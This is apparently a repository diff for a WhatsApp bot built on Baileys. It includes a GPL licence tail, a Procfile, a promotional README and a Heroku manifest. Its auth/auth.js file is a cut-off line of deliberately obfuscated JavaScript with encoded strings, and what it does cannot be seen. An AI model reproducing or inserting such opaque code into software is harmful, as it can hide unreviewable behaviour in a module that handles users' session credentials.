+ WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604
+ THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605
+ GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606
+ USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607
+ DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608
+ PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609
+ EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610
+ SUCH DAMAGES.
611
+
612
+ 17. Interpretation of Sections 15 and 16.
613
+
614
+ If the disclaimer of warranty and limitation of liability provided
615
+ above cannot be given local legal effect according to their terms,
616
+ reviewing courts shall apply local law that most closely approximates
617
+ an absolute waiver of all civil liability in connection with the
618
+ Program, unless a warranty or assumption of liability accompanies a
619
+ copy of the Program in return for a fee.
620
+
621
+ END OF TERMS AND CONDITIONS
622
+
623
+ How to Apply These Terms to Your New Programs
624
+
625
+ If you develop a new program, and you want it to be of the greatest
626
+ possible use to the public, the best way to achieve this is to make it
627
+ free software which everyone can redistribute and change under these terms.
628
+
629
+ To do so, attach the following notices to the program. It is safest
630
+ to attach them to the start of each source file to most effectively
631
+ state the exclusion of warranty; and each file should have at least
632
+ the "copyright" line and a pointer to where the full notice is found.
633
+
634
+ <one line to give the program's name and a brief idea of what it does.>
635
+ Copyright (C) <year> <name of author>
636
+
637
+ This program is free software: you can redistribute it and/or modify
638
+ it under the terms of the GNU General Public License as published by
639
+ the Free Software Foundation, either version 3 of the License, or
640
+ (at your option) any later version.
641
+
642
+ This program is distributed in the hope that it will be useful,
643
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
644
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645
+ GNU General Public License for more details.
646
+
647
+ You should have received a copy of the GNU General Public License
648
+ along with this program. If not, see <https://www.gnu.org/licenses/>.
649
+
650
+ Also add information on how to contact you by electronic and paper mail.
651
+
652
+ If the program does terminal interaction, make it output a short
653
+ notice like this when it starts in an interactive mode:
654
+
655
+ <program> Copyright (C) <year> <name of author>
656
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657
+ This is free software, and you are welcome to redistribute it
658
+ under certain conditions; type `show c' for details.
659
+
660
+ The hypothetical commands `show w' and `show c' should show the appropriate
661
+ parts of the General Public License. Of course, your program's commands
662
+ might be different; for a GUI interface, you would use an "about box".
663
+
664
+ You should also get your employer (if you work as a programmer) or school,
665
+ if any, to sign a "copyright disclaimer" for the program, if necessary.
666
+ For more information on this, and how to apply and follow the GNU GPL, see
667
+ <https://www.gnu.org/licenses/>.
668
+
669
+ The GNU General Public License does not permit incorporating your program
670
+ into proprietary programs. If your program is a subroutine library, you
671
+ may consider it more useful to permit linking proprietary applications with
672
+ the library. If this is what you want to do, use the GNU Lesser General
673
+ Public License instead of this License. But first, please read
674
+ <https://www.gnu.org/licenses/why-not-lgpl.html>.
FEE-XMD-main/Procfile ADDED
@@ -0,0 +1 @@
 
 
1
+ web: node patch-baileys.js && node index.js
FEE-XMD-main/README.md ADDED
@@ -0,0 +1,271 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # FEE XMD WhatsApp Bot 🤖
2
+
3
+ <div align="center">
4
+ <img src="https://raw.githubusercontent.com/Fred1e/Fee-Xmd/main/fredi.jpg" alt="FEE XMD Logo" width="220">
5
+ <br>
6
+ <h1>Advanced WhatsApp Bot with 200+ Features • Free & Open Source</h1>
7
+
8
+ <!-- Action buttons — unified colors and controlled size -->
9
+ <a href="https://fee-session-site.onrender.com" target="_blank" style="margin:4px">
10
+ <img src="https://img.shields.io/badge/Pair_Now-7C3AED?style=for-the-badge&logo=whatsapp&logoColor=white" alt="Pair Now" width="160">
11
+ </a>
12
+
13
+ <a href="https://fezchat.github.io/deploy_fee_xmd" target="_blank" style="margin:4px">
14
+ <img src="https://img.shields.io/badge/Deploy_Now-06B6D4?style=for-the-badge&logo=rocket&logoColor=white" alt="Deploy Now" width="160">
15
+ </a>
16
+
17
+ <a href="https://github.com/Fred1e/Fee-Xmd/archive/refs/heads/main.zip" target="_blank" style="margin:4px">
18
+ <img src="https://img.shields.io/badge/Download_ZIP-10B981?style=for-the-badge&logo=github&logoColor=white" alt="Download ZIP" width="160">
19
+ </a>
20
+
21
+ <!-- Repo stats — cleaned up, no duplicates, consistent colors and sizes -->
22
+ <div style="margin-top:8px;">
23
+ <img src="https://img.shields.io/github/stars/Fred1e/Fee-Xmd?style=for-the-badge&label=Stars&logo=github&color=F59E0B&logoColor=white" alt="GitHub Stars" width="170" style="margin:3px">
24
+ <img src="https://img.shields.io/github/forks/Fred1e/Fee-Xmd?style=for-the-badge&label=Forks&logo=github&color=3B82F6&logoColor=white" alt="GitHub Forks" width="170" style="margin:3px">
25
+ <img src="https://img.shields.io/github/watchers/Fred1e/Fee-Xmd?style=for-the-badge&label=Watchers&logo=github&color=8B5CF6&logoColor=white" alt="GitHub Watchers" width="170" style="margin:3px">
26
+ </div>
27
+ </div>
28
+
29
+ ## ✨ Features Overview
30
+
31
+ ### Category — Features Count & Key Features
32
+ - **Media Downloaders (50+)**
33
+ Platforms: YouTube, Instagram, TikTok, Facebook, Twitter, Pinterest, Reddit
34
+ - **AI & Chat (10+)**
35
+ Models & capabilities: GPT-4, Summarization, Code Writing
36
+ - **Games & Entertainment (30+)**
37
+ Examples: Trivia, Puzzles, Word Games, RPG, Multiplayer Games
38
+ - **Utility Tools (40+)**
39
+ File Conversion, QR Codes, Calculator, Currency, Weather, News
40
+ - **Educational (20+)**
41
+ Dictionary, Math Solver, Science Facts, Exam Prep
42
+ - **Group Management (15+)**
43
+ Auto-moderation, Welcome Messages, Anti-spam, Announcements
44
+
45
+
46
+ ## 🚀 Quick Start
47
+
48
+ ### Option 1: 📱 Pair with Existing Bot (Instant)
49
+
50
+ <a href="https://fee-session-site.onrender.com" target="_blank">
51
+ <img src="https://img.shields.io/badge/Home_Page-7C3AED?style=for-the-badge&logo=blogger&logoColor=white" alt="Home Page" width="160">
52
+ </a>
53
+
54
+ <a href="https://fee-session-site.onrender.com/qr" target="_blank">
55
+ <img src="https://img.shields.io/badge/Scan_QR-7C3AED?style=for-the-badge&logo=scanner&logoColor=white" alt="Scan QR Now" width="160">
56
+ </a>
57
+
58
+ <a href="https://fee-session-site.onrender.com/pair" target="_blank">
59
+ <img src="https://img.shields.io/badge/Pair_Code-7C3AED?style=for-the-badge&logo=phone&logoColor=white" alt="Pair Code Now" width="160">
60
+ </a>
61
+
62
+ ### Option 2: 🛠 Deploy Your Own Instance
63
+
64
+ <a href="https://fezchat.github.io/deploy_fee_xmd" target="_blank" style="margin:4px">
65
+ <img src="https://img.shields.io/badge/Deploy_Now-06B6D4?style=for-the-badge&logo=rocket&logoColor=white" alt="Deploy Now" width="160">
66
+ </a>
67
+
68
+ ### Supported Platforms
69
+ - Heroku (Free tier available)
70
+ - Railway (Always-on free tier)
71
+ - Render (Free web services)
72
+ - Koyeb (2 always-free instances)
73
+ - Replit (Cloud IDE with hosting)
74
+ - Panels (all free panel and pro)
75
+
76
+
77
+ ## 📥 Download & Installation
78
+
79
+ ### Option A: 📦 Download ZIP for Control Panel
80
+ ```bash
81
+ # Download the latest release
82
+ curl -L https://github.com/Fred1e/Fee-Xmd/archive/refs/heads/main.zip -o Fee-Xmd.zip
83
+
84
+ # Or use wget
85
+ wget https://github.com/Fred1e/Fee-Xmd/archive/refs/heads/main.zip -O Fee-Xmd.zip
86
+ ```
87
+
88
+ Download ZIP:
89
+
90
+ <a href="https://github.com/Fred1e/Fee-Xmd/archive/refs/heads/main.zip" target="_blank">
91
+ <img src="https://img.shields.io/badge/DOWNLOAD_ZIP-7C3AED?style=for-the-badge&logo=github&logoColor=white" alt="DOWNLOAD ZIP" width="160">
92
+ </a>
93
+
94
+ ### Option B: 🐳 Run with Docker
95
+ ```bash
96
+ # Pull Docker image
97
+ docker pull fred1e/fee-xmd:latest
98
+
99
+ # Run container
100
+ docker run -d \
101
+ --name fee-xmd-bot \
102
+ -p 3000:3000 \
103
+ -e SESSION_ID="your_session" \
104
+ -e PREFIX="!" \
105
+ fred1e/fee-xmd:latest
106
+ ```
107
+
108
+ ### Option C: 💻 Run on Local
109
+
110
+ 1. Clone the repository:
111
+ ```bash
112
+ git clone https://github.com/Fred1e/Fee-Xmd.git
113
+ cd Fee-Xmd
114
+ ```
115
+
116
+ 2. Install dependencies:
117
+ ```bash
118
+ npm install
119
+ ```
120
+
121
+ 3. Configure environment variables (create a `.env` file):
122
+ ```env
123
+ PORT=3000
124
+ SESSION_ID=your_session_id
125
+ PREFIX=!
126
+ MODS=255752593977
127
+ MONGODB_URI=your_mongodb_uri
128
+ CRON=0 */2 * * *
129
+ WELCOME=true
130
+ ```
131
+
132
+ 4. Start the bot:
133
+ ```bash
134
+ # Development mode
135
+ npm run dev
136
+
137
+ # Production mode
138
+ npm start
139
+ ```
140
+
141
+ 5. Access the dashboard: Open http://localhost:3000 and scan the QR code with WhatsApp.
142
+
143
+
144
+ ## ��� Bot Commands
145
+
146
+ ### Basic Commands
147
+ - `!help` — Show all commands
148
+ - `!menu` — Show categorized menu
149
+ - `!ping` — Check bot response time
150
+ - `!owner` — Show bot owner info
151
+ - `!info` — Show bot information
152
+
153
+ ### Media Download
154
+ - `!yt [url]` — Download YouTube video
155
+ - `!ig [url]` — Download Instagram video
156
+ - `!tt [url]` — Download TikTok video
157
+ - `!fb [url]` — Download Facebook video
158
+ - `!spotify [url]` — Download Spotify audio
159
+
160
+ ### AI Features
161
+ - `!ai [question]` — Chat with AI
162
+ - `!gpt [prompt]` — Use GPT-4
163
+ - `!img [prompt]` — Generate image with AI
164
+ - `!translate [text] [lang]` — Translate text
165
+ - `!summarize [text]` — Summarize text
166
+
167
+ ### Utilities
168
+ - `!sticker` — Convert image to sticker
169
+ - `!qr [text]` — Generate QR code
170
+ - `!weather [city]` — Get weather info
171
+ - `!calc [expression]` — Calculator
172
+ - `!currency [amount] [from] [to]` — Currency conversion
173
+
174
+
175
+
176
+ ## 📊 GitHub Statistics
177
+
178
+ <!-- Clean, extended stats area with additional categories and consistent sizing -->
179
+ <div align="center">
180
+ <img src="https://img.shields.io/github/stars/Fred1e/Fee-Xmd?style=for-the-badge&label=Stars&logo=github&color=F59E0B&logoColor=white" alt="Stars" width="160" style="margin:4px">
181
+ <img src="https://img.shields.io/github/forks/Fred1e/Fee-Xmd?style=for-the-badge&label=Forks&logo=github&color=3B82F6&logoColor=white" alt="Forks" width="160" style="margin:4px">
182
+ <img src="https://img.shields.io/github/watchers/Fred1e/Fee-Xmd?style=for-the-badge&label=Watchers&logo=github&color=8B5CF6&logoColor=white" alt="Watchers" width="160" style="margin:4px">
183
+ <img src="https://img.shields.io/github/contributors/Fred1e/Fee-Xmd?style=for-the-badge&label=Contributors&logo=github&color=10B981&logoColor=white" alt="Contributors" width="160" style="margin:4px">
184
+ <img src="https://img.shields.io/github/issues/Fred1e/Fee-Xmd?style=for-the-badge&label=Open%20Issues&logo=github&color=EF4444&logoColor=white" alt="Open Issues" width="160" style="margin:4px">
185
+ <img src="https://img.shields.io/github/issues-closed/Fred1e/Fee-Xmd?style=for-the-badge&label=Closed%20Issues&logo=github&color=06B6D4&logoColor=white" alt="Closed Issues" width="160" style="margin:4px">
186
+ <img src="https://img.shields.io/github/release/Fred1e/Fee-Xmd?style=for-the-badge&label=Releases&logo=github&color=8B5CF6&logoColor=white" alt="Releases" width="160" style="margin:4px">
187
+ <img src="https://img.shields.io/github/license/Fred1e/Fee-Xmd?style=for-the-badge&label=License&logo=open-source&color=111827&logoColor=white" alt="License" width="160" style="margin:4px">
188
+ <img src="https://img.shields.io/github/last-commit/Fred1e/Fee-Xmd?style=for-the-badge&label=Last%20Commit&logo=git&color=7C3AED&logoColor=white" alt="Last Commit" width="160" style="margin:4px">
189
+ <img src="https://img.shields.io/github/languages/top/Fred1e/Fee-Xmd?style=for-the-badge&label=Top%20Language&logo=code&color=06B6D4&logoColor=white" alt="Top Language" width="160" style="margin:4px">
190
+ </div>
191
+
192
+ Notes:
193
+ - I adjusted badge colors to be consistent and readable, and set widths on badges so they visually align better across different viewers.
194
+ - Removed duplicated badges and added more categories (Contributors, Open/Closed issues, Releases, License, Last commit, Top language).
195
+
196
+ ## 👨‍💻 Developer Information
197
+
198
+ - Fredi AI Tech — From Arusha, Tanzania 🇹🇿
199
+ - Contact & Profiles:
200
+ - WhatsApp: https://wa.me/256752593977 (Direct support)
201
+ - Email: frediezra360@gmail.com
202
+ - GitHub: https://github.com/Fred1e (Main)
203
+ - GitHub: https://github.com/mr-X-force (Secondary)
204
+ - GitHub: https://github.com/FezChat (FezChat projects)
205
+
206
+ ---
207
+
208
+ ## 🤝 Support & Community
209
+
210
+ <div align="center">
211
+ <a href="#"><img src="https://img.shields.io/badge/WhatsApp_Channel-25D366?style=for-the-badge&logo=whatsapp&logoColor=white" alt="WhatsApp Channel" width="140" style="margin:4px"></a>
212
+ <a href="#"><img src="https://img.shields.io/badge/WhatsApp_Group-25D366?style=for-the-badge&logo=whatsapp&logoColor=white" alt="WhatsApp Group" width="140" style="margin:4px"></a>
213
+ <a href="#"><img src="https://img.shields.io/badge/Facebook-1877F2?style=for-the-badge&logo=facebook&logoColor=white" alt="Facebook" width="140" style="margin:4px"></a>
214
+ <a href="#"><img src="https://img.shields.io/badge/Instagram-E4405F?style=for-the-badge&logo=instagram&logoColor=white" alt="Instagram" width="140" style="margin:4px"></a>
215
+ <a href="#"><img src="https://img.shields.io/badge/YouTube-FF0000?style=for-the-badge&logo=youtube&logoColor=white" alt="YouTube" width="140" style="margin:4px"></a>
216
+ </div>
217
+
218
+ ## 📞 Contact Information
219
+
220
+ - Phone (TZ): +255 764 182 801
221
+ - Phone (INT): +256 752 593 977
222
+ - Email: frediezra360@gmail.com
223
+
224
+ Business Hours: 24/7
225
+ Typical Response Time: Usually within 1–2 hours
226
+
227
+
228
+
229
+ ## 🛠 Troubleshooting
230
+
231
+ Common Issues & Fixes:
232
+ 1. QR Code Not Showing:
233
+ - Ensure port 3000 is open
234
+ - Verify dependencies are installed
235
+ - Check console for errors
236
+ 2. Bot Not Responding:
237
+ - Verify WhatsApp connection
238
+ - Check internet connection
239
+ - Restart the bot process
240
+ 3. Deployment Failed:
241
+ - Verify environment variables
242
+ - Check platform logs
243
+ - Ensure GitHub fork exists
244
+
245
+
246
+ ## 📜 License
247
+
248
+ This project is licensed under the MIT License — see the LICENSE file for details.
249
+
250
+
251
+ ## 🙏 Acknowledgments
252
+
253
+ <img src="https://img.shields.io/github/watchers/Fred1e/Fee-Xmd?style=social" alt="GitHub Watchers">
254
+ </div>
255
+
256
+
257
+
258
+ ## 🆘 Quick Support Links
259
+
260
+ <div align="center">
261
+ <a href="#"><img src="https://img.shields.io/badge/Report_Bug-DD0031?style=for-the-badge&logo=github&logoColor=white" alt="Report Bug" width="140" style="margin:4px"></a>
262
+ <a href="#"><img src="https://img.shields.io/badge/Request_Feature-4285F4?style=for-the-badge&logo=google-chrome&logoColor=white" alt="Request Feature" width="140" style="margin:4px"></a>
263
+ <a href="#"><img src="https://img.shields.io/badge/Support_Development-FF6B6B?style=for-the-badge&logo=paypal&logoColor=white" alt="Support Development" width="140" style="margin:4px"></a>
264
+ </div>
265
+
266
+
267
+
268
+ Meta
269
+ - Last Updated: ACTIVE
270
+ - Bot Version: 7.0.0
271
+ - Status: ✅ Active & Maintained
FEE-XMD-main/app.json ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "name": "FEE-XTREME-MULT-DEVICE",
3
+ "description": "⚡ A lightning-fast WhatsApp bot with multi-device support, built on Node.js & Baileys.",
4
+ "website": "https://github.com/Fred1e/Fee-xmd#readme",
5
+ "repository": "https://github.com/Fred1e/Fee-xmd.git",
6
+ "logo": "https://qu.ax/XxQwp.jpg",
7
+ "success_url": "/",
8
+ "keywords": [
9
+ "whatsapp-bot",
10
+ "baileys",
11
+ "nodejs",
12
+ "heroku",
13
+ "fee-xmd"
14
+ ],
15
+ "scripts": {
16
+ "postdeploy": "echo '🚀 Fee-Xmd has been successfully deployed!'"
17
+ },
18
+ "build": {
19
+ "languages": [
20
+ "nodejs"
21
+ ]
22
+ },
23
+ "env": {
24
+ "SESSION": {
25
+ "description": "🔑 Required – Your WhatsApp session ID (generated after linking the bot).",
26
+ "required": true
27
+ },
28
+ "DEVICE": {
29
+ "description": "Device mode: android (default) or ios. Android uses interactive select buttons; iOS uses text-only responses. Accepted values: android, ios, default.",
30
+ "required": false,
31
+ "value": "default"
32
+ },
33
+ "HEROKU_APP_NAME": {
34
+ "description": "Optional – The Heroku app name (needed for updating the bot).",
35
+ "required": false
36
+ },
37
+ "HEROKU_API_KEY": {
38
+ "description": "Optional – Your Heroku API key (only needed for updating the bot).",
39
+ "required": false
40
+ }
41
+ },
42
+ "addons": [
43
+ {
44
+ "plan": "heroku-postgresql",
45
+ "as": "DATABASE"
46
+ }
47
+ ],
48
+ "buildpacks": [
49
+ {
50
+ "url": "heroku/nodejs"
51
+ },
52
+ {
53
+ "url": "https://github.com/clhuang/heroku-buildpack-webp-binaries.git"
54
+ },
55
+ {
56
+ "url": "https://github.com/heroku/heroku-buildpack-activestorage-preview"
57
+ }
58
+ ]
59
+ }
FEE-XMD-main/auth/auth.js ADDED
@@ -0,0 +1 @@
 
 
1
+ import{fileURLToPath as 林林地金}from'url';function 川天木(){}var 地天雪水=function(林林地金,川天木){return 川天木(林林地金())}(雪日山水,影林風);var 月川雪=[],水山=[海天日天(0),海天日天(1),海天日天(2),海天日天(3),海天日天(4),海天日天(5),海天日天(6),海天日天(7),海天日天(8),海天日天(9),海天日天(10),海天日天(11),海天日天(12),海天日天(13),'\x2e\x71\x3e\x64\x60\x50\x4d\x4e\x69\x7c\x48\x38\x2e\x4b\x57\x45\x68\x3f',海天日天(14),海天日天(15),海天日天(16),'\x7b\x49\x50\x58\x7c\x46\x5e\x45\x7c\x22\x21\x43\x5d\x46\x59\x24\x58\x36\x65\x5d\x6d\x22\x68\x25\x51\x6a\x56\x35\x61\x6a\x6c\x7b\x37\x49\x2c\x5a\x67\x75\x22\x6b\x76\x37\x79\x79\x78\x72\x36\x4d\x31\x36\x70\x35\x5b\x3d\x71\x7d\x79\x5f\x3f\x4c\x72\x59\x49\x36\x35\x46\x5e\x75\x2f\x55\x5e\x2b\x2f\x6e\x5b\x3d\x32\x70\x2f\x61\x4b\x77\x71\x4b\x79\x5d\x21\x38\x48\x28\x26\x6d\x4f\x2a\x46\x23\x6d\x2e\x43\x3c\x79\x7c\x21\x57\x57\x30\x49\x54\x4e\x3c\x48\x61',海天日天(17),海天日天(18),'\x2e\x71\x3e\x64\x60\x50\x4d\x4e\x69\x7c\x48\x38\x2e\x4b\x57\x45\x68\x3f','\x2e\x71\x3e\x64\x60\x50\x4d\x4e\x69\x7c\x48\x38\x2e\x4b\x57\x45\x68\x3f',海天日天(19),海天日天(15),海天日天(20),海天日天(21),海天日天(22),海天日天(23),'\x70\x66\x5b\x7b\x63\x64\x63\x25\x4a\x37\x67\x7c\x4e\x62\x67\x36\x69\x41\x58\x69\x67\x38\x7b\x56\x5a\x77\x35\x57\x23\x7d\x39\x43\x5d\x61\x51\x72\x5f\x45\x52\x63\x7e\x39\x56\x3a\x21\x29\x4b\x59\x32\x64\x72\x71\x4d\x54\x33\x68\x28\x32\x40\x7e\x6c\x4b\x28\x23\x5b\x71\x56\x5a\x40\x2b\x47\x77\x3b\x40\x7b','\u005d\u006a\u002c\u0035\u007e\u003d\u004d\u004e\u0047\u0079\u0078\u0072\u006c\u0031\u0061\u0035\u004f\u003b\u0036\u004b\u005f\u0045\u006d\u0065\u0070\u0030\u0049\u0046\u007d\u0025\u0057\u0059\u0060\u007d\u0037\u0068\u0021\u002e\u005b\u0055\u0049\u0030\u0040\u0040\u007d\u0025\u0039\u0043\u0044\u0063\u0025\u0024\u0057\u0067\u0054\u0037\u006b\u0063\u0025\u0052\u006b\u0041\u0028\u005d\u002f\u0021\u004a\u0056\u0025\u002f\u0049\u002f\u0036\u0063\u0061\u0065\u0071\u007a\u004b\u0077\u002e\u006c\u0048\u004b\u007e\u0068\u0032\u002a\u0057\u0040\u0022\u0064\u0072\u0062\u0074\u0035\u0051\u003b\u0023\u0026\u006a\u0074\u0029\u0049\u003e\u0028\u0047\u0022\u0035\u003e\u0048\u0043\u0041\u0064\u0066\u005a\u0074\u007b\u007c\u0065\u0049\u004f\u003f\u006b\u0053\u0062\u0058\u0032\u003d\u007d\u0048\u004b\u007e\u0068\u0025\u0068\u006e\u0042\u003c\u003a\u006a\u002a\u0058\u0032\u006c\u007d\u0077\u005a\u0073\u0076\u0041\u0066\u0074\u0069\u003c\u003a\u0030\u0074\u0031\u0032\u003e\u002e\u003c\u005a\u0074\u007b\u002e\u0077\u005b\u0028\u003c\u006d\u0034\u0029\u0039\u0043\u005d\u0046\u0028\u0041\u0047\u0067\u0051',海天日天(16),'\u007b\u0049\u0050\u0058\u007c\u0046\u005e\u0045\u007c\u0022\u0021\u0043\u005d\u0046\u0059\u0024\u0058\u0036\u0065\u005d\u006d\u0022\u0068\u0025\u0051\u006a\u0056\u0035\u0061\u006a\u006c\u007b\u0037\u0049\u002c\u005a\u0067\u0075\u0022\u006b\u0076\u0037\u0079\u0079\u0078\u0072\u0036\u004d\u0031\u0036\u0070\u0035\u005b\u003d\u0071\u007d\u0079\u005f\u003f\u004c\u0072\u0059\u0049\u0036\u0035\u0046\u005e\u0075\u002f\u0055\u005e\u002b\u002f\u006e\u005b\u003d\u0032\u0070\u002f\u0061\u004b\u0077\u0071\u004b\u0079\u005d\u0021\u0038\u0048\u0028\u0026\u006d\u004f\u002a\u0046\u0023\u006d\u002e\u0043\u003c\u0079\u007c\u0021\u0057\u0057\u0030\u0049\u0054\u004e\u003c\u0048\u0061',海天日天(24),海天日天(25),'\x78\x65\x50\x5a\x43\x6d\x7d\x22\x24\x7c\x67\x7c\x3f',海天日天(16),'\u007b\u0049\u0050\u0058\u007c\u0046\u005e\u0045\u007c\u0022\u0021\u0043\u005d\u0046\u0059\u0024\u0058\u0036\u0065\u005d\u006d\u0022\u0068\u0025\u0051\u006a\u0056\u0035\u0061\u006a\u006c\u007b\u0037\u0049\u002c\u005a\u0067\u0075\u0022\u006b\u0076\u0037\u0079\u0079\u0078\u0072\u0036\u004d\u0031\u0036\u0070\u0035\u005b\u003d\u0071\u007d\u0079\u005f\u003f\u004c\u0072\u0059\u0049\u0036\u0035\u0046\u005e\u0075\u002f\u0055\u005e\u002b\u002f\u006e\u005b\u003d\u0032\u0070\u002f\u0061\u004b\u0077\u0071\u004b\u0079\u005d\u0021\u0038\u0048\u0028\u0026\u006d\u004f\u002a\u0046\u0023\u006d\u002e\u0043\u003c\u0079\u007c\u0021\u0057\u0057\u0030\u0049\u0054\u004e\u003c\u0048\u0061',海天日天(26),海天日天(27),海天日天(28),海天日天(29),'\x6f\x7c\x34\x65\x25\x26\x2c\x5d\x42',海天日天(16),'\u007b\u0049\u0050\u0058\u007c\u0046\u005e\u0045\u007c\u0022\u0021\u0043\u005d\u0046\u0059\u0024\u0058\u0036\u0065\u005d\u006d\u0022\u0068\u0025\u0051\u006a\u0056\u0035\u0061\u006a\u006c\u007b\u0037\u0049\u002c\u005a\u0067\u0075\u0022\u006b\u0076\u0037\u0079\u0079\u0078\u0072\u0036\u004d\u0031\u0036\u0070\u0035\u005b\u003d\u0071\u007d\u0079\u005f\u003f\u004c\u0072\u0059\u0049\u0036\u0035\u0046\u005e\u0075\u002f\u0055\u005e\u002b\u002f\u006e\u005b\u003d\u0032\u0070\u002f\u0061\u004b\u0077\u0071\u004b\u0079\u005d\u0021\u0038\u0048\u0028\u0026\u006d\u004f\u002a\u0046\u0023\u006d\u002e\u0043\u003c\u0079\u007c\u0021\u0057\u0057\u0030\u0049\u0054\u004e\u003c\u0048\u0061',海天日天(30),'\u005d\u006a\u0053\u007b\u007e\u003d\u006a\u0028\u0056\u007c\u004a',海天日天(31),海天日天(32),海天日天(33),海天日天(16),'\u007b\u0049\u0050\u0058\u007c\u0046\u005e\u0045\u007c\u0022\u0021\u0043\u005d\u0046\u0059\u0024\u0058\u0036\u0065\u005d\u006d\u0022\u0068\u0025\u0051\u006a\u0056\u0035\u0061\u006a\u006c\u007b\u0037\u0049\u002c\u005a\u0067\u0075\u0022\u006b\u0076\u0037\u0079\u0079\u0078\u0072\u0036\u004d\u0031\u0036\u0070\u0035\u005b\u003d\u0071\u007d\u0079\u005f\u003f\u004c\u0072\u0059\u0049\u0036\u0035\u0046\u005e\u0075\u002f\u0055\u005e\u002b\u002f\u006e\u005b\u003d\u0032\u0070\u002f\u0061\u004b\u0077\u0071\u004b\u0079\u005d\u0021\u0038\u0048\u0028\u0026\u006d\u004f\u002a\u0046\u0023\u006d\u002e\u0043\u003c\u0079\u007c\u0021\u0057\u0057\u0030\u0049\u0054\u004e\u003c\u0048\u0061',海天日天(34),'\u0058\u0036\u004c\u002a\u007b\u0075\u0056\u0042\u0036\u0077\u0063\u0040\u0031\u0041\u0044\u0044\u0068\u0022\u0059\u006e\u004c\u004c\u0060\u0057\u0056\u007c\u0032\u0065\u0021\u0072\u0061',海天日天(35),海天日天(36),海天日天(37),海天日天(38),'\x7b\x49\x50\x58\x7c\x46\x5e\x45\x7c\x22\x21\x43\x5d\x46\x59\x24\x58\x36\x65\x5d\x6d\x22\x68\x25\x51\x6a\x56\x35\x61\x6a\x6c\x7b\x37\x49\x2c\x5a\x67\x75\x22\x6b\x76\x37\x79\x79\x78\x72\x36\x4d\x31\x36\x70\x35\x5b\x3d\x71\x7d\x79\x5f\x3f\x4c\x72\x59\x49\x36\x35\x46\x5e\x75\x2f\x55\x5e\x2b\x2f\x6e\x5b\x3d\x32\x70\x2f\x61\x4b\x77\x71\x4b\x79\x5d\x21\x38\x48\x28\x26\x6d\x4f\x2a\x46\x23\x6d\x2e\x43\x3c\x79\x7c\x21\x57\x57\x30\x49\x54\x4e\x3c\x48\x61',海天日天(39),海天日天(40),海天日天(41),海天日天(42),'\u0058\u0036\u004c\u002a\u007b\u0075\u0056\u0042\u0036\u0077\u0063\u0040\u0031\u0041\u0044\u0044\u0068\u0022\u0059\u006e\u004c\u004c\u0060\u0057\u0056\u007c\u0032\u0065\u0021\u0072\u0061',海天日天(35),海天日天(43),海天日天(14),海天日天(44),海天日天(16),'\x7b\x49\x50\x58\x7c\x46\x5e\x45\x7c\x22\x21\x43\x5d\x46\x59\x24\x58\x36\x65\x5d\x6d\x22\x68\x25\x51\x6a\x56\x35\x61\x6a\x6c\x7b\x37\x49\x2c\x5a\x67\x75\x22\x6b\x76\x37\x79\x79\x78\x72\x36\x4d\x31\x36\x70\x35\x5b\x3d\x71\x7d\x79\x5f\x3f\x4c\x72\x59\x49\x36\x35\x46\x5e\x75\x2f\x55\x5e\x2b\x2f\x6e\x5b\x3d\x32\x70\x2f\x61\x4b\x77\x71\x4b\x79\x5d\x21\x38\x48\x28\x26\x6d\x4f\x2a\x46\x23\x6d\x2e\x43\x3c\x79\x7c\x21\x57\x57\x30\x49\x54\x4e\x3c\x48\x61',海天日天(45),海天日天(46),海天日天(47),海天日天(48),海天日天(16),海天日天(49),海天日天(50),海天日天(51),海天日天(52),'\u0048\u005f\u0056\u005a\u0070\u0022\u0029\u003b\u0076\u004d\u0030\u007c\u0048\u0050\u0053\u0064\u002c\u007d',海天日天(16),'\u007b\u0049\u0050\u0058\u007c\u0046\u005e\u0045\u007c\u0022\u0021\u0043\u005d\u0046\u0059\u0024\u0058\u0036\u0065\u005d\u006d\u0022\u0068\u0025\u0051\u006a\u0056\u0035\u0061\u006a\u006c\u007b\u0037\u0049\u002c\u005a\u0067\u0075\u0022\u006b\u0076\u0037\u0079\u0079\u0078\u0072\u0036\u004d\u0031\u0036\u0070\u0035\u005b\u003d\u0071\u007d\u0079\u005f\u003f\u004c\u0072\u0059\u0049\u0036\u0035\u0046\u005e\u0075\u002f\u0055\u005e\u002b\u002f\u006e\u005b\u003d\u0032\u0070\u002f\u0061\u004b\u0077\u0071\u004b\u0079\u005d\u0021\u0038\